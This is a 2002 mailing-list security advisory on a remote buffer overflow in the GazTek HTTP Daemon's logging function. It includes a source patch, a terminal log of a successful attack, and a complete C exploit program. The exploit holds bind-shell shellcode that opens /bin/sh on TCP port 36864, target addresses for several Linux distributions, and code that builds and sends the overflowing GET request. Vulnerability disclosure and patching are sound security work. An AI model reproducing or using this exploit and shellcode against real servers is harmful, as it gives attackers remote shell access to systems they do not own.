[<prev] [next>] [day] [month] [year] [list]
Message-ID: <200210122306.g9CN6cg77552@mailserver4.hushmail.com>
From: pyramid-rp at hushmail.com (pyramid-rp@...hmail.com)
Subject: Pyramid Research Project - ghttpd security advisorie
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
- -=================================================================-
SECURITY ADVISORY
PYR/\MID, Research Project - 100702
Members: Apm, flea, thread
Title: GazTek HTTP Daemon v1.4-3 Buffer Overflow
Author: flea
Vulnerable GazTek HTTP Daemon <= v1.4-3
Problem: Buffer Overflow
Remote: Yes
Release: October 7, 2002
Vendor: Contacted
Exploit: PRPghttpd.c
- -=================================================================-
- - Package Overview
===================
Ghttpd is a fast and efficient HTTP server that has CGI support.
Ghttpd has a small memory inprint and is capable of handling thousands of
simultanious connections. It is ideal for large and small websites.
- - Issue Specifics
==================
Ghttpd server contains a remotely exploitable buffer overflow
which allows an attacker to gain ghttpd's previleges.
The overflow occurs when a long "GET <buffer>" query is sent trough
a session and this is logged by the function Log():
protocol.c:103:
Log("Connection from %s, request = \"GET %s\"",
inet_ntoa(sa.sin_addr), ptr);
While executing the Log() function a buffer is copied without
checking boundries resulting in a buffer overflow:
util.c:208: void Log(char *format, ...)
util.c:213: char temp[200], temp2[200], logfilename[255];
util.c:219: vsprintf(temp, format, ap);
This flaw was detected in the latest ghttpd version(1.4-3) but
it's likely that the problem exists in previous versions as well, altough
this was not tested.
A proof of concept exploit was coded for ghttpd servers running on
"i386 RedHat 7.3 Linux", "i386 RedHat 7.2 Linux" and "i386 Slackware 8.1"
operating systems.
[root@...tlab httpd]# uname -a
Linux testlab 2.4.18-3 #1 Thu Apr 18 07:31:07 EDT 2002 i586 unknown
[root@...tlab ghttpd]# cat /etc/issue
Red Hat Linux release 7.3 (Valhalla)
[root@...tlab httpd]# ls -al ghttpd
- -rwxr-xr-x 1 nobody nobody 34687 Sep 27 02:04 ghttpd
[root@...tlab httpd]# id
uid=0(root) gid=0(root) groups=0(root),
1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
[root@...tlab httpd]# ./ghttpd
[root@...tlab httpd]# ghttpd launched into background, PID = 851
[root@...tlab httpd]# ./PRPghttpd -b 127.0.0.1
Server: GazTek HTTP Daemon v1.4
[flea@...tlab httpd]$ ./PRPghttpd -d 0 127.0.0.1 127.0.0.1
target: 127.0.0.1
arch id: 0, GazTek HTTP Daemon v1.4/i386 RedHat 7.3 Linux, 0xbfffb9c0
ip size: 9 bytes
Adjust: 0 bytes
buffer size: 204 bytes
bind shellcode size: 128 bytes
bind shell tcp port: 36864
Injecting code at 0xbfffb9c0...
Done!
[flea@...tlab httpd]$ telnet localhost 36864
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
id;
uid=99(nobody) gid=99(nobody)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
: command not found
- - Temporary Patch
==================
Another similar bug affects the Log() function, so here's a
temporary fix for both.
+++ util.c Sat Sep 28 01:26:33 2002
@@ -210,12 +210,16 @@
FILE *logfile;
time_t t;
struct tm *tm;
- - char temp[200], temp2[200], logfilename[255];
+ char *temp, *temp2;
+ char logfilename[255];
char datetime[] = "[%d.%m.%Y] [%H:%M.%S]";
char datetime_final[128];
va_list ap;
va_start(ap, format); // format it all into temp
+
+ /* temp[200] overflow patch */
+ temp = malloc(strlen(format)+1024);
- - vsprintf(temp, format, ap);
+ vsnprintf(temp, strlen(format)+1024, format, ap);
va_end(ap);
@@ -225,6 +229,8 @@
strftime(datetime_final, 127, datetime, tm);
// format it all so we have date/time/loginfo
+ /* temp2[200] overflow patch */
+ temp2 = malloc((strlen(temp) + strlen(datetime_final) + 5));
sprintf(temp2, "%s - %s\n", datetime_final, temp);
sprintf(logfilename, "%s/ghttpd.log", SERVERROOT);
@@ -234,4 +240,4 @@
fputs(temp2, logfile); // Save to the file
fclose(logfile); // Close file
- -}
\ No newline at end of file
+}
EOF
/* PRPghttpd.c
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
02111-1307, USA.
-
PYR/\MID, Research Project
Author: flea
Date: October 7, 2002
Members: Apm, flea, thread
Proof of Concept Remote Exploit for GazTek HTTP Daemon v1.4-3
Works on:
i386 Redhat 7.2
i386 Redhat 7.3
i386 Slackware 8.1
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define NOP 0x90
#define MIN_BUFFER_SIZE 198
#define MAX_IP_LENGHT 15
#define GAZTEK_PORT 80
#define BIND_PORT 36864
void synops(char *argv[]);
int main(int argc, char *argv[]);
void get_ban(char *ban_addr);
#define ARCH_NUMBER 4
struct arch {
int id;
char *os;
long addr;
int adjusted_buf;
} architectures[] = {
{0, "GazTek HTTP Daemon v1.4/i386 RedHat 7.3 Linux", 0xbfffb9c0, 0},
{1, "GazTek HTTP Daemon v1.4/i386 RedHat 7.3 Linux", 0xbfffb6b0, 0},
{2, "GazTek HTTP Daemon v1.4/i386 RedHat 7.2 Linux", 0xbfffb658, -1},
{3, "GazTek HTTP Daemon v1.4/i386 Slackware 8.1", 0xbfffb50c, -32}
};
char bindshell[] =
"\xeb\x72\x5e\x29\xc0\x89\x46\x10\x40\x89\xc3\x89\x46\x0c"
"\x40\x89\x46\x08\x8d\x4e\x08\xb0\x66\xcd\x80\x43\xc6\x46"
"\x10\x10\x66\x89\x5e\x14\x88\x46\x08\x29\xc0\x89\xc2\x89"
"\x46\x18\xb0\x90\x66\x89\x46\x16\x8d\x4e\x14\x89\x4e\x0c"
"\x8d\x4e\x08\xb0\x66\xcd\x80\x89\x5e\x0c\x43\x43\xb0\x66"
"\xcd\x80\x89\x56\x0c\x89\x56\x10\xb0\x66\x43\xcd\x80\x86"
"\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f"
"\x41\xcd\x80\x88\x56\x07\x89\x76\x0c\x87\xf3\x8d\x4b\x0c"
"\xb0\x0b\xcd\x80\xe8\x89\xff\xff\xff/bin/sh";
void synops(char *argv[])
{
int i;
printf("PYR/\\MID, Research Project 02\n");
printf("GazTek HTTP Daemon v1.4 remote exploit, by flea.\n");
printf("SYNOPS: %s [-b <banner>] -d <arch> <ip> <remote>\n\n", argv[0]);
printf("<ip> - ip address to check lenght\n");
printf("<remote> - remote target ip addr\n");
printf("<arch> - remote architecture id\n");
printf("<banner> - ip addr to check banner\n\n");
printf("Architectures id:\n");
for(i=0; i<ARCH_NUMBER; i++)
printf("\t%d, %s, 0x%x\n", architectures[i].id, architectures[i].os, architectures[i].addr);
exit(0);
}
void get_ban(char *ban_addr)
{
int i, sock_fd;
char *read_buf, *read_buf_toked, *ptr;
struct sockaddr_in target;
if((sock_fd = socket(AF_INET, SOCK_STREAM, 0)) < 1)
{
printf("socket() error.\n");
exit(-1);
}
target.sin_family = AF_INET;
target.sin_port = htons(GAZTEK_PORT);
if((target.sin_addr.s_addr = inet_addr(ban_addr)) == -1)
{
printf("\"%s\" is an invalid ip address.\n", ban_addr);
exit(-1);
}
bzero(&(target.sin_zero), 8);
if((connect(sock_fd, (struct sockaddr *)&target, sizeof(target))) == -1)
{
printf("connect() error.\n");
exit(-1);
}
if((write(sock_fd, "HEAD HTTP /\n\n", 13)) == -1)
{
printf("write() error.\n");
exit(-1);
}
read_buf = malloc(256);
read_buf_toked = malloc(256);
if((read(sock_fd, read_buf, 256)) == -1)
{
printf("read() error.\n");
exit(-1);
}
strcpy(read_buf_toked, read_buf);
ptr = strstr(read_buf_toked, "Server");
ptr = strtok(ptr, "\n");
printf("%s\n\n", ptr);
printf("****** FULL HEADERS ******\n");
ptr = strtok(read_buf, "\n");
for(i=0; i<4; i++)
{
ptr = strtok(NULL, "\n");
printf("%s\n", ptr);
}
printf("****** FULL HEADERS ******\n");
exit(0);
}
main(int argc, char *argv[])
{
int c, c_size, ip_lenght, arch_id, sock_fd, errflg=0, ban_chk=0, exp_flg=0;
char *addr, *get_buf, *get_buf_str;
long ret;
extern char *optarg;
extern int optind, optopt;
struct sockaddr_in target;
if(argc == 1)
synops(argv);
while((c = getopt(argc, argv, "b:d:")) != -1)
{
switch(c)
{
case 'b':
addr = malloc(strlen(optarg));
strcpy(addr, optarg);
ban_chk++;
break;
case 'd':
if(!(argv[optind]))
errflg++;
if(!(argv[optind+1]))
errflg++;
if(errflg == 0)
{
if((arch_id = atoi(optarg)) < 0 || (arch_id = atoi(optarg)) > (ARCH_NUMBER-1))
{
printf("Invalid architecture id.\n");
exit(-1);
}
if((inet_addr(argv[optind])) != -1)
ip_lenght = strlen(argv[optind+1]);
else
{
printf("\"%s\" is an invalid ip address.\n", argv[optind]);
exit(-1);
}
addr = malloc(strlen(argv[optind+1]));
strcpy(addr, argv[optind+1]+1);
exp_flg++;
}
break;
case ':':
errflg++;
break;
case '?':
errflg++;
}
}
if(errflg > 0)
synops(argv);
/* check banner info */
if(ban_chk > 0)
get_ban(addr);
if(!(exp_flg))
synops(argv);
/*
Buffer Size Craft Relation
min string size = 192 bytes
string "GET _" size = 4 bytes
max log ip size "255.255.255.255" = 15 bytes
string "\n\n" size = 2 bytes
= 198 bytes
*/
/* dont count with GET request and newline bytes */
c_size = ((MIN_BUFFER_SIZE+15-ip_lenght-4-2)+(architectures[arch_id].adjusted_buf));
/* NULL string byte */
c_size = c_size+1;
/* builds crafted buffer */
get_buf = malloc(c_size);
/* counts with all constants sizes */
get_buf_str = malloc((c_size+4+2));
memset(get_buf, NOP, c_size);
memcpy(get_buf+(c_size-1-4-strlen(bindshell)), bindshell, strlen(bindshell));
*(long*)&get_buf[c_size-4-1] = architectures[arch_id].addr;
get_buf[c_size-1] = '\0';
/* final buffer, now just inject on connection */
sprintf(get_buf_str,"GET %s\n\n", get_buf);
/* infos */
printf("target: %s\n", addr);
printf("arch id: %d, %s, 0x%x\n", architectures[arch_id].id, architectures[arch_id].os, architectures[arch_id].addr);
printf("ip size: %d bytes\n", ip_lenght);
printf("Adjust: %d bytes\n", architectures[arch_id].adjusted_buf);
printf("buffer size: %d bytes\n", strlen(get_buf_str));
printf("bind shellcode size: %d bytes\n", strlen(bindshell));
printf("bind shell tcp port: %d\n", BIND_PORT);
printf("Injecting code at 0x%x...\n", architectures[arch_id].addr);
/* start socket() */
if((sock_fd = socket(AF_INET, SOCK_STREAM, 0)) < 1)
{
printf("socket() error.\n");
exit(-1);
}
target.sin_family = AF_INET;
target.sin_port = htons(GAZTEK_PORT);
if((target.sin_addr.s_addr = inet_addr(addr)) == -1)
{
printf("\"%s\" is an invalid ip address.\n", addr);
exit(-1);
}
bzero(&(target.sin_zero), 8);
if((connect(sock_fd, (struct sockaddr *)&target, sizeof(target))) == -1)
{
printf("connect() error.\n");
exit(-1);
}
if((write(sock_fd, get_buf_str, strlen(get_buf_str))) == -1)
{
printf("write() error.\n");
exit(-1);
}
printf("Done!\n");
return 0;
}
-----BEGIN PGP SIGNATURE-----
Version: Hush 2.2 (Java)
Note: This signature can be verified at https://www.hushtools.com/verify
wl8EARECAB8FAj15QrcYHHB5cmFtaWQtcnBAaHVzaG1haWwuY29tAAoJEJnK0tsmALZM
MxwAn0eactoWhSOs+OGX1Epz0nDgzCZgAJ4gvQX6MDuQlf7PujofHfEFT2EZLQ==
=M3pC
-----END PGP SIGNATURE-----
Get your free encrypted email at https://www.hushmail.com
Powered by blists - more mailing lists